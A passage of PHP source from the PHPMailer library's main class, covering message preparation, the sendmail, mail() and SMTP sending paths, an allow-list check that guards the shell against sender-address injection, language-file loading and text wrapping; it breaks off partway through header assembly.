            $this->mailHeader = '';

            //Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array([$this, 'addAnAddress'], $params);
            }
            if (count($this->to) + count($this->cc) + count($this->bcc) < 1) {
                throw new Exception($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            //Validate From, Sender, and ConfirmReadingTo addresses
            foreach (['From', 'Sender', 'ConfirmReadingTo'] as $address_kind) {
                if ($this->{$address_kind} === null) {
                    $this->{$address_kind} = '';
                    continue;
                }
                $this->{$address_kind} = trim($this->{$address_kind});
                if (empty($this->{$address_kind})) {
                    continue;
                }
                $this->{$address_kind} = $this->punyencodeAddress($this->{$address_kind});
                if (!static::validateAddress($this->{$address_kind})) {
                    $error_message = sprintf(
                        '%s (%s): %s',
                        $this->lang('invalid_address'),
                        $address_kind,
                        $this->{$address_kind}
                    );
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new Exception($error_message);
                    }

                    return false;
                }
            }

            //Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = static::CONTENT_TYPE_MULTIPART_ALTERNATIVE;
            }

            $this->setMessageType();
            //Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty && empty($this->Body)) {
                throw new Exception($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            //Trim subject consistently
            $this->Subject = trim($this->Subject);
            //Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            //createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            //To capture the complete message when using mail(), create
            //an extra header list which createHeader() doesn't fold in
            if ('mail' === $this->Mailer) {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader($this->Subject))
                );
            }

            //Sign with DKIM if enabled
            if (
                !empty($this->DKIM_domain)
                && !empty($this->DKIM_selector)
                && (!empty($this->DKIM_private_string)
                    || (!empty($this->DKIM_private)
                        && static::isPermittedPath($this->DKIM_private)
                        && file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = static::stripTrailingWSP($this->MIMEHeader) . static::$LE .
                    static::normalizeBreaks($header_dkim) . static::$LE;
            }

            return true;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }

            return false;
        }
    }

    /**
     * Actually send a message via the selected mechanism.
     *
     * @throws Exception
     *
     * @return bool
     */
    public function postSend()
    {
        try {
            //Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer . 'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->{$sendMethod}($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->Mailer === 'smtp' && $this->SMTPKeepAlive == true && $this->smtp->connected()) {
                $this->smtp->reset();
            }
            if ($this->exceptions) {
                throw $exc;
            }
        }

        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     *
     * @see PHPMailer::$Sendmail
     *
     * @param string $header The message headers
     * @param string $body   The message body
     *
     * @throws Exception
     *
     * @return bool
     */
    protected function sendmailSend($header, $body)
    {
        if ($this->Mailer === 'qmail') {
            $this->edebug('Sending with qmail');
        } else {
            $this->edebug('Sending with sendmail');
        }
        $header = static::stripTrailingWSP($header) . static::$LE . static::$LE;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        //A space after `-f` is optional, but there is a long history of its presence
        //causing problems, so we don't use one
        //Exim docs: https://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_command_line.html
        //Sendmail docs: https://www.sendmail.org/~ca/email/man/sendmail.html
        //Example problem: https://www.drupal.org/node/1057954

        //PHP 5.6 workaround
        $sendmail_from_value = ini_get('sendmail_from');
        if (empty($this->Sender) && !empty($sendmail_from_value)) {
            //PHP config has a sender address we can use
            $this->Sender = ini_get('sendmail_from');
        }
        //CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) && static::validateAddress($this->Sender) && self::isShellSafe($this->Sender)) {
            if ($this->Mailer === 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            //allow sendmail to choose a default envelope sender. It may
            //seem preferable to force it to use the From header as with
            //SMTP, but that introduces new problems (see
            //<https://github.com/PHPMailer/PHPMailer/issues/2298>), and
            //it has historically worked this way.
            $sendmailFmt = '%s -oi -t';
        }

        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);
        $this->edebug('Sendmail path: ' . $this->Sendmail);
        $this->edebug('Sendmail command: ' . $sendmail);
        $this->edebug('Envelope sender: ' . $this->Sender);
        $this->edebug("Headers: {$header}");

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                $mail = @popen($sendmail, 'w');
                if (!$mail) {
                    throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                $this->edebug("To: {$toAddr}");
                fwrite($mail, 'To: ' . $toAddr . "\n");
                fwrite($mail, $header);
                fwrite($mail, $body);
                $result = pclose($mail);
                $addrinfo = static::parseAddresses($toAddr, true, $this->CharSet);
                $this->doCallback(
                    ($result === 0),
                    [[$addrinfo['address'], $addrinfo['name']]],
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From,
                    []
                );
                $this->edebug("Result: " . ($result === 0 ? 'true' : 'false'));
                if (0 !== $result) {
                    throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            $mail = @popen($sendmail, 'w');
            if (!$mail) {
                throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fwrite($mail, $header);
            fwrite($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result === 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From,
                []
            );
            $this->edebug("Result: " . ($result === 0 ? 'true' : 'false'));
            if (0 !== $result) {
                throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }

        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     *
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     *
     * @param string $string The string to be validated
     *
     * @return bool
     */
    protected static function isShellSafe($string)
    {
        //It's not possible to use shell commands safely (which includes the mail() function) without escapeshellarg,
        //but some hosting providers disable it, creating a security problem that we don't want to have to deal with,
        //so we don't.
        if (!function_exists('escapeshellarg') || !function_exists('escapeshellcmd')) {
            return false;
        }

        if (
            escapeshellcmd($string) !== $string
            || !in_array(escapeshellarg($string), ["'$string'", "\"$string\""])
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; ++$i) {
            $c = $string[$i];

            //All other characters have a special meaning in at least one common shell, including = and +.
            //Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            //Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     *
     * @param string $path A relative or absolute path to a file
     *
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        //Matches scheme definition from https://www.rfc-editor.org/rfc/rfc3986#section-3.1
        return !preg_match('#^[a-z][a-z\d+.-]*://#i', $path);
    }

    /**
     * Check whether a file path is safe, accessible, and readable.
     *
     * @param string $path A relative or absolute path to a file
     *
     * @return bool
     */
    protected static function fileIsAccessible($path)
    {
        if (!static::isPermittedPath($path)) {
            return false;
        }
        $readable = is_file($path);
        //If not a UNC path (expected to start with \\), check read permission, see #2069
        if (strpos($path, '\\\\') !== 0) {
            $readable = $readable && is_readable($path);
        }
        return  $readable;
    }

    /**
     * Send mail using the PHP mail() function.
     *
     * @see https://www.php.net/manual/en/book.mail.php
     *
     * @param string $header The message headers
     * @param string $body   The message body
     *
     * @throws Exception
     *
     * @return bool
     */
    protected function mailSend($header, $body)
    {
        $header = static::stripTrailingWSP($header) . static::$LE . static::$LE;

        $toArr = [];
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = trim(implode(', ', $toArr));

        //If there are no To-addresses (e.g. when sending only to BCC-addresses)
        //the following should be added to get a correct DKIM-signature.
        //Compare with $this->preSend()
        if ($to === '') {
            $to = 'undisclosed-recipients:;';
        }

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        //A space after `-f` is optional, but there is a long history of its presence
        //causing problems, so we don't use one
        //Exim docs: https://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_command_line.html
        //Sendmail docs: https://www.sendmail.org/~ca/email/man/sendmail.html
        //Example problem: https://www.drupal.org/node/1057954
        //CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.

        //PHP 5.6 workaround
        $sendmail_from_value = ini_get('sendmail_from');
        if (empty($this->Sender) && !empty($sendmail_from_value)) {
            //PHP config has a sender address we can use
            $this->Sender = ini_get('sendmail_from');
        }
        if (!empty($this->Sender) && static::validateAddress($this->Sender)) {
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo && count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $addrinfo = static::parseAddresses($toAddr, true, $this->CharSet);
                $this->doCallback(
                    $result,
                    [[$addrinfo['address'], $addrinfo['name']]],
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From,
                    []
                );
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, []);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new Exception($this->lang('instantiate'), self::STOP_CRITICAL);
        }

        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation,
     * or set one with setSMTPInstance.
     *
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP();
        }

        return $this->smtp;
    }

    /**
     * Provide an instance to use for SMTP operations.
     *
     * @return SMTP
     */
    public function setSMTPInstance(SMTP $smtp)
    {
        $this->smtp = $smtp;

        return $this->smtp;
    }

    /**
     * Provide SMTP XCLIENT attributes
     *
     * @param string $name  Attribute name
     * @param ?string $value Attribute value
     *
     * @return bool
     */
    public function setSMTPXclientAttribute($name, $value)
    {
        if (!in_array($name, SMTP::$xclient_allowed_attributes)) {
            return false;
        }
        if (isset($this->SMTPXClient[$name]) && $value === null) {
            unset($this->SMTPXClient[$name]);
        } elseif ($value !== null) {
            $this->SMTPXClient[$name] = $value;
        }

        return true;
    }

    /**
     * Get SMTP XCLIENT attributes
     *
     * @return array
     */
    public function getSMTPXclientAttributes()
    {
        return $this->SMTPXClient;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     *
     * @see PHPMailer::setSMTPInstance() to use a different class.
     *
     * @uses \PHPMailer\PHPMailer\SMTP
     *
     * @param string $header The message headers
     * @param string $body   The message body
     *
     * @throws Exception
     *
     * @return bool
     */
    protected function smtpSend($header, $body)
    {
        $header = static::stripTrailingWSP($header) . static::$LE . static::$LE;
        $bad_rcpt = [];
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new Exception($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        //Sender already validated in preSend()
        if ('' === $this->Sender) {
            $smtp_from = $this->From;
        } else {
            $smtp_from = $this->Sender;
        }
        if (count($this->SMTPXClient)) {
            $this->smtp->xclient($this->SMTPXClient);
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new Exception($this->ErrorInfo, self::STOP_CRITICAL);
        }

        $callbacks = [];
        //Attempt to send to all recipients
        foreach ([$this->to, $this->cc, $this->bcc] as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0], $this->dsn)) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = ['to' => $to[0], 'error' => $error['detail']];
                    $isSent = false;
                } else {
                    $isSent = true;
                }

                $callbacks[] = ['issent' => $isSent, 'to' => $to[0], 'name' => $to[1]];
            }
        }

        //Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) && !$this->smtp->data($header . $body)) {
            throw new Exception($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }

        $smtp_transaction_id = $this->smtp->getLastTransactionID();

        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }

        foreach ($callbacks as $cb) {
            $this->doCallback(
                $cb['issent'],
                [[$cb['to'], $cb['name']]],
                [],
                [],
                $this->Subject,
                $body,
                $this->From,
                ['smtp_transaction_id' => $smtp_transaction_id]
            );
        }

        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new Exception($this->lang('recipients_failed') . $errstr, self::STOP_CONTINUE);
        }

        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     *
     * @param array $options An array of options compatible with stream_context_create()
     *
     * @throws Exception
     *
     * @uses \PHPMailer\PHPMailer\SMTP
     *
     * @return bool
     */
    public function smtpConnect($options = null)
    {
        if (null === $this->smtp) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (null === $options) {
            $options = $this->SMTPOptions;
        }

        //Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        if ($this->Host === null) {
            $this->Host = 'localhost';
        }
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = [];
            if (
                !preg_match(
                    '/^(?:(ssl|tls):\/\/)?(.+?)(?::(\d+))?$/',
                    trim($hostentry),
                    $hostinfo
                )
            ) {
                $this->edebug($this->lang('invalid_hostentry') . ' ' . trim($hostentry));
                //Not a valid host entry
                continue;
            }
            //$hostinfo[1]: optional ssl or tls prefix
            //$hostinfo[2]: the hostname
            //$hostinfo[3]: optional port number
            //The host string prefix can temporarily override the current setting for SMTPSecure
            //If it's not specified, the default value is used

            //Check the host name is a valid name or IP address before trying to use it
            if (!static::isValidHost($hostinfo[2])) {
                $this->edebug($this->lang('invalid_host') . ' ' . $hostinfo[2]);
                continue;
            }
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = (static::ENCRYPTION_STARTTLS === $this->SMTPSecure);
            if ('ssl' === $hostinfo[1] || ('' === $hostinfo[1] && static::ENCRYPTION_SMTPS === $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; //Can't have SSL and TLS at the same time
                $secure = static::ENCRYPTION_SMTPS;
            } elseif ('tls' === $hostinfo[1]) {
                $tls = true;
                //TLS doesn't use a prefix
                $secure = static::ENCRYPTION_STARTTLS;
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA256');
            if (static::ENCRYPTION_STARTTLS === $secure || static::ENCRYPTION_SMTPS === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new Exception($this->lang('extension_missing') . 'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[2];
            $port = $this->Port;
            if (
                array_key_exists(3, $hostinfo) &&
                is_numeric($hostinfo[3]) &&
                $hostinfo[3] > 0 &&
                $hostinfo[3] < 65536
            ) {
                $port = (int) $hostinfo[3];
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    //* it's not disabled
                    //* we are not connecting to localhost
                    //* we have openssl extension
                    //* we are not already using SSL
                    //* the server offers STARTTLS
                    if (
                        $this->SMTPAutoTLS &&
                        $this->Host !== 'localhost' &&
                        $sslext &&
                        $secure !== 'ssl' &&
                        $this->smtp->getServerExt('STARTTLS')
                    ) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            $message = $this->getSmtpErrorMessage('connect_host');
                            throw new Exception($message);
                        }
                        //We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if (
                        $this->SMTPAuth && !$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->oauth
                        )
                    ) {
                        throw new Exception($this->lang('authenticate'));
                    }

                    return true;
                } catch (Exception $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    //We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        //If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        //As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions && null !== $lastexception) {
            throw $lastexception;
        }
        if ($this->exceptions) {
            // no exception was thrown, likely $this->smtp->connect() failed
            $message = $this->getSmtpErrorMessage('connect_host');
            throw new Exception($message);
        }

        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     */
    public function smtpClose()
    {
        if ((null !== $this->smtp) && $this->smtp->connected()) {
            $this->smtp->quit();
            $this->smtp->close();
        }
    }

    /**
     * Set the language for error messages.
     * The default language is English.
     *
     * @param string $langcode  ISO 639-1 2-character language code (e.g. French is "fr")
     *                          Optionally, the language code can be enhanced with a 4-character
     *                          script annotation and/or a 2-character country annotation.
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     *                          Do not set this from user input!
     *
     * @return bool Returns true if the requested language was loaded, false otherwise.
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        //Backwards compatibility for renamed language codes
        $renamed_langcodes = [
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'rs' => 'sr',
            'tg' => 'tl',
            'am' => 'hy',
        ];

        if (array_key_exists($langcode, $renamed_langcodes)) {
            $langcode = $renamed_langcodes[$langcode];
        }

        //Define full set of translatable strings in English
        $PHPMAILER_LANG = [
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'buggy_php' => 'Your version of PHP is affected by a bug that may result in corrupted messages.' .
                ' To fix it, switch to sending using SMTP, disable the mail.add_x_header option in' .
                ' your php.ini, switch to MacOS or Linux, or upgrade your PHP to version 7.0.17+ or 7.1.3+.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'extension_missing' => 'Extension missing: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'invalid_header' => 'Invalid header name or value',
            'invalid_hostentry' => 'Invalid hostentry: ',
            'invalid_host' => 'Invalid host: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_code' => 'SMTP code: ',
            'smtp_code_ex' => 'Additional SMTP info: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_detail' => 'Detail: ',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
        ];
        if (empty($lang_path)) {
            //Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__DIR__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR;
        }

        //Validate $langcode
        $foundlang = true;
        $langcode  = strtolower($langcode);
        if (
            !preg_match('/^(?P<lang>[a-z]{2})(?P<script>_[a-z]{4})?(?P<country>_[a-z]{2})?$/', $langcode, $matches)
            && $langcode !== 'en'
        ) {
            $foundlang = false;
            $langcode = 'en';
        }

        //There is no English translation file
        if ('en' !== $langcode) {
            $langcodes = [];
            if (!empty($matches['script']) && !empty($matches['country'])) {
                $langcodes[] = $matches['lang'] . $matches['script'] . $matches['country'];
            }
            if (!empty($matches['country'])) {
                $langcodes[] = $matches['lang'] . $matches['country'];
            }
            if (!empty($matches['script'])) {
                $langcodes[] = $matches['lang'] . $matches['script'];
            }
            $langcodes[] = $matches['lang'];

            //Try and find a readable language file for the requested language.
            $foundFile = false;
            foreach ($langcodes as $code) {
                $lang_file = $lang_path . 'phpmailer.lang-' . $code . '.php';
                if (static::fileIsAccessible($lang_file)) {
                    $foundFile = true;
                    break;
                }
            }

            if ($foundFile === false) {
                $foundlang = false;
            } else {
                $lines = file($lang_file);
                foreach ($lines as $line) {
                    //Translation file lines look like this:
                    //$PHPMAILER_LANG['authenticate'] = 'SMTP-Fehler: Authentifizierung fehlgeschlagen.';
                    //These files are parsed as text and not PHP so as to avoid the possibility of code injection
                    //See https://blog.stevenlevithan.com/archives/match-quoted-string
                    $matches = [];
                    if (
                        preg_match(
                            '/^\$PHPMAILER_LANG\[\'([a-z\d_]+)\'\]\s*=\s*(["\'])(.+)*?\2;/',
                            $line,
                            $matches
                        ) &&
                        //Ignore unknown translation keys
                        array_key_exists($matches[1], $PHPMAILER_LANG)
                    ) {
                        //Overwrite language-specific strings so we'll never have missing translation keys.
                        $PHPMAILER_LANG[$matches[1]] = (string)$matches[3];
                    }
                }
            }
        }
        $this->language = $PHPMAILER_LANG;

        return $foundlang; //Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     *
     * @return array
     */
    public function getTranslations()
    {
        if (empty($this->language)) {
            $this->setLanguage(); // Set the default language.
        }

        return $this->language;
    }

    /**
     * Create recipient headers.
     *
     * @param string $type
     * @param array  $addr An array of recipients,
     *                     where each recipient is a 2-element indexed array with element 0 containing an address
     *                     and element 1 containing a name, like:
     *                     [['joe@example.com', 'Joe User'], ['zoe@example.com', 'Zoe User']]
     *
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = [];
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }

        return $type . ': ' . implode(', ', $addresses) . static::$LE;
    }

    /**
     * Format an address for use in a message header.
     *
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name like
     *                    ['joe@example.com', 'Joe User']
     *
     * @return string
     */
    public function addrFormat($addr)
    {
        if (!isset($addr[1]) || ($addr[1] === '')) { //No name provided
            return $this->secureHeader($addr[0]);
        }

        return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') .
            ' <' . $this->secureHeader($addr[0]) . '>';
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     *
     * @param string $message The message to wrap
     * @param int    $length  The line length to wrap to
     * @param bool   $qp_mode Whether to run in Quoted-Printable mode
     *
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', static::$LE);
        } else {
            $soft_break = static::$LE;
        }
        //If utf-8 encoding is used, we will need to make sure we don't
        //split multibyte characters when we wrap
        $is_utf8 = static::CHARSET_UTF8 === strtolower($this->CharSet);
        $lelen = strlen(static::$LE);
        $crlflen = strlen(static::$LE);

        $message = static::normalizeBreaks($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) === static::$LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode(static::$LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode && (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif ('=' === substr($word, $len - 1, 1)) {
                                --$len;
                            } elseif ('=' === substr($word, $len - 2, 1)) {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', static::$LE);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while ($word !== '') {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif ('=' === substr($word, $len - 1, 1)) {
                            --$len;
                        } elseif ('=' === substr($word, $len - 2, 1)) {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = (string) substr($word, $len);

                        if ($word !== '') {
                            $message .= $part . sprintf('=%s', static::$LE);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if ('' !== $buf_o && strlen($buf) > $length) {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . static::$LE;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     *
     * @param string $encodedText utf-8 QP text
     * @param int    $maxLength   Find the last character boundary prior to this length
     *
     * @return int
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                //Found start of encoded character byte within $lookBack block.
                //Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    //Single byte character.
                    //If the encoded char was found at pos 0, it will fit
                    //otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength -= $lookBack - $encodedCharPos;
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    //First byte of a multi byte character
                    //Reduce maxLength to split at start of character
                    $maxLength -= $lookBack - $encodedCharPos;
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    //Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                //No encoded character found
                $foundSplitPos = true;
            }
        }

        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     *
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', '' === $this->MessageDate ? self::rfcDate() : $this->MessageDate);

        //The To header is created automatically by mail(), so needs to be omitted here
        if ('mail' !== $this->Mailer) {
            if ($this->SingleTo) {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            } elseif (count($this->to) > 0) {
                $result .= $this->addrAppend('To', $this->to);
            } elseif (count($this->cc) === 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }
        $result .= $this->addrAppend('From', [[trim($this->From), $this->FromName]]);

        //sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        //sendmail and mail() extract Bcc from the header before sending
        if (
            (
                'sendmail' === $this->Mailer || 'qmail' === $this->Mailer || 'mail' === $this->Mailer
            )
